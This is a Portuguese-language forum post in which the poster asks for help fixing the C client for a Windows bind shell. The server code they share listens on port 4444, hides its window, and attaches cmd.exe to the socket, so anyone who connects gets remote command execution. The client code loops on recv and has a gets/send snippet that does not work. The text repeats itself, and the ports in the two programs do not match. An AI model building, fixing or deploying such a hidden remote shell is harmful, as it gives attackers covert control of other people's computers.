Ola a todos, eu estou aqui com um problema de lógica e preciso de ajuda de alguen que domine a linguagem de programaçao C. É o seguinte:
Eu tenho este source que binda um shell a uma porta para connectar remotamente:
Servidor:
Aqui no servidor está tudo bem, o meu problema é na hora de receber os dados no cliente:
Cliente:
Como eu recebo o buffer do servidor e envio os comandos?? Já experimentei de diversas maneiras até agora nada, Assim como está o código eu recebo:
Agora para eu enviar comandos para o servidor supostamente deveria de usar a função send()
Pelos testes que fiz ele envia o comando, porém não recebo qualquer resposta do servidor. Tou aqui com falta de lógica, por isso peço ajuda de alguém que tenha conhecimentos em C para me ajudar a perceber o que está mal. Sei que está tudo bem com o servidor, porque utilizei o NetCat para connectar ao servidor e funciona tudo normal.
Penso que me tenha conseguido explicar bem.
Ferramenteas: Windows 7 e Dev-C++
Eu tenho este source que binda um shell a uma porta para connectar remotamente:
Servidor:
Código:
#include <windows.h> #include <winsock2.h> int main() { WSADATA wsa; SOCKET s; SOCKADDR_IN sAddr; PROCESS_INFORMATION pi; STARTUPINFO si; memset( &si, 0, sizeof( si ) ); si.cb = sizeof( si ); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; WSAStartup( 0x0202, &wsa ); s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); sAddr.sin_addr.s_addr = INADDR_ANY; sAddr.sin_port = htons(4444); sAddr.sin_family = AF_INET; bind(s,(struct sockaddr *)&sAddr, sizeof(sAddr)); listen( s, 5 ); s = accept( s, NULL, NULL ); while(1) { si.hStdInput = (HANDLE)s; si.hStdOutput = (HANDLE)s; si.hStdError = (HANDLE)s; CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi ); WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( s ); WSACleanup(); }
Aqui no servidor está tudo bem, o meu problema é na hora de receber os dados no cliente:
Cliente:
Código:
#include <windows.h>
#include <winsock2.h>
int main(void)
{
SOCKET mysocket;
WSADATA ws;
int check;
char buffer[1024], buffer1[1024];
struct sockaddr_in local;
int x;
WSAStartup(MAKEWORD(2,2),&ws);
mysocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
local.sin_family = AF_INET;
local.sin_port = htons(12345);
local.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(mysocket,(struct sockaddr *)&local,sizeof(local));
//O problema está aqui.
while(1)
{
memset(buffer,0,sizeof(buffer));
recv(mysocket,buffer,sizeof(buffer),0);
printf(buffer);
}
}
Como eu recebo o buffer do servidor e envio os comandos?? Já experimentei de diversas maneiras até agora nada, Assim como está o código eu recebo:
Código:
Microsoft Windows [Versão 6.1.7601] Copyright (c) 2009 Microsoft Corporation. Todos os direitos reservados. C:\Users\>
Agora para eu enviar comandos para o servidor supostamente deveria de usar a função send()
Código:
gets(buffer); send(mysoket,buffer,sizeof(buffer),0);
Pelos testes que fiz ele envia o comando, porém não recebo qualquer resposta do servidor. Tou aqui com falta de lógica, por isso peço ajuda de alguém que tenha conhecimentos em C para me ajudar a perceber o que está mal. Sei que está tudo bem com o servidor, porque utilizei o NetCat para connectar ao servidor e funciona tudo normal.
Penso que me tenha conseguido explicar bem.
Ferramenteas: Windows 7 e Dev-C++
Comment